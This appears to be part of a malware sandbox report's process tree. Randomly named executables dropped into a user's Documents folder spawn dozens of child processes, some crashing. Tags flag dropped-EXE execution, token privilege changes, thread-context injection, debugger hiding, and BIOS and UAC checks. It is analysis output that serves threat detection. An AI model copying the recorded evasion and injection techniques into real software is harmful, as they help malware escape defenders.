- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1712
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7768
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6820
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6952
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9640
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6232
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7880
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6504
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5768
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2428
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3376
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8624
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:32
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9616
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4520
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9048
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:424
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 424 -s 28
      4⤵
      Program crash
      PID:3988
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1496
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10080
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6920
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8844
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7096
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1404
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5220
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:424
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:2660
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5264
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:2524
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7380
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:2196
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6024
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3360
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4388
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9108
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8808
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7172
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10332
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10920
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10508
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:11200
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9060
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10212
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10508
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9372
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:11060
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5708
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10276
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10836
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7680
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10544
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12624
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12400
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10656
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12832
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 12832 -s 28
      4⤵
      Program crash
      PID:12928
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12516
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13180
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13064
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5128
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13216
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12444
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6096
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9252
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12404
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3296
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4792
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10772
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8360
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6356
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:11532
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:11536
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6264
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12476
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12916
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7988
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:8828
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:11448
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9524
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10364
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:2108
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9852
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12424
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5416
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12152
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13540
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:14084
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13568
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:14244
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12008
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13408
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12852
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13944
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12904
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:14092
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1844
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10884
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8500
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5452
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10328
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9184
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1340
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9844
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:14388
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:14804
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:15280
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:12388
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13528
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:13436
- C:\Users\Admin\Documents\7ErLa0RFLI6vyU7MyTq31upS.exe
  "C:\Users\Admin\Documents\7ErLa0RFLI6vyU7MyTq31upS.exe"
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Users\Admin\Documents\wPt6bm7uNglQB6DC0fWJlmim.exe
  "C:\Users\Admin\Documents\wPt6bm7uNglQB6DC0fWJlmim.exe"
  2⤵
  - Executes dropped EXE
  PID:5056
- - C:\Users\Admin\Documents\wPt6bm7uNglQB6DC0fWJlmim.exe
    "C:\Users\Admin\Documents\wPt6bm7uNglQB6DC0fWJlmim.exe" -u
    3⤵
    - Executes dropped EXE
    PID:3924
- C:\Users\Admin\Documents\GGUYxB8IdnvmZwODT1wxOWma.exe
  "C:\Users\Admin\Documents\GGUYxB8IdnvmZwODT1wxOWma.exe"
  2⤵
  - Executes dropped EXE
  PID:1880
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1880 -s 236
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3692
- C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
  "C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1852
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Executes dropped EXE
    PID:3128
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Executes dropped EXE
    PID:2788
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Executes dropped EXE
    PID:5432
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5360
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Executes dropped EXE
    PID:5304
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:852
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:1784
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:496
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:3148
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2796
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6700
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6788
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:3060
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7588
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4956
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8052
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6588
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7348
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Executes dropped EXE
    PID:5592
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4464
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8600
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9100
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8608
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6676
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9936
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2660
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9724
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9428
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9428 -s 28
      4⤵
      Program crash
      PID:8720
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5984
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8888
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10052
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4848
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7284
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5328
